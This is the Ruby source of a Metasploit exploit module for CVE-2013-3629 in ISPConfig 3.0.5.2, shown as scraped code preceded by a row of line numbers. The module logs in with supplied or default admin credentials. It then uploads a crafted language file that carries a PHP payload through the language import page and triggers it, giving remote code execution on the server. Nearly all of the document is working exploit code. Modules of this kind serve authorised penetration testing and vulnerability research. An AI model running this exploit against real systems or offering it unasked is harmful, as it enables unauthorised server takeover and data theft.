1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'ISPConfig Authenticated Arbitrary PHP Code Execution', 'Description' => %q{ ISPConfig allows an authenticated administrator to export language settings into a PHP script which is intended to be reuploaded later to restore language settings. This feature can be abused to run aribtrary PHP code remotely on the ISPConfig server. This module was tested against version 3.0.5.2. }, 'Author' => [ 'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-3629'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload'=> { 'BadChars' => "&\n=+%", }, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Oct 30 2013')) register_options( [ OptString.new('TARGETURI', [ true, "Base ISPConfig directory path", '/']), OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']), OptString.new('LANGUAGE', [ true, "The language to use to trigger the payload", 'es']) ], self.class) end def check end def lng datastore['LANGUAGE'] end def exploit init = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php') }) if !init or init.code != 200 fail_with("Error getting initial page.") end sess = init.get_cookies post = { 'username' => datastore["USERNAME"], 'passwort' => datastore["PASSWORD"], 's_mod' => 'login', 's_pg' => 'index' } print_status("Authenticating as user: " << datastore["USERNAME"]) login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/content.php'), 'vars_post' => post, 'cookie' => sess }) if !login or login.code != 200 fail_with("Error authenticating.") end sess = login.get_cookies fname = rand_text_alphanumeric(rand(10)+6) + '.lng' php = "---|ISPConfig Language File|3.0.5.2|#{lng}\n" php << "--|global|#{lng}|#{lng}.lng\n" php << "<?php \n" php << payload.encoded php << "?>\n" php << "--|mail|#{lng}|#{lng}.lng\n" php << "<?php" php << "?>" data = Rex::MIME::Message.new data.add_part(php, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{fname }\"") data.add_part('1', nil, nil, 'form-data; name="overwrite"') data.add_part('1', nil, nil, 'form-data; name="ignore_version"') data.add_part('', nil, nil, 'form-data; name="id"') data_post = data.to_s print_status("Sending payload") send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/admin/language_import.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data_post, 'cookie' => sess }) post = { 'lng_select' => 'es' } print_status("Triggering payload...") send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/admin/language_complete.php'), 'vars_post' => post, 'cookie' => sess }) end end |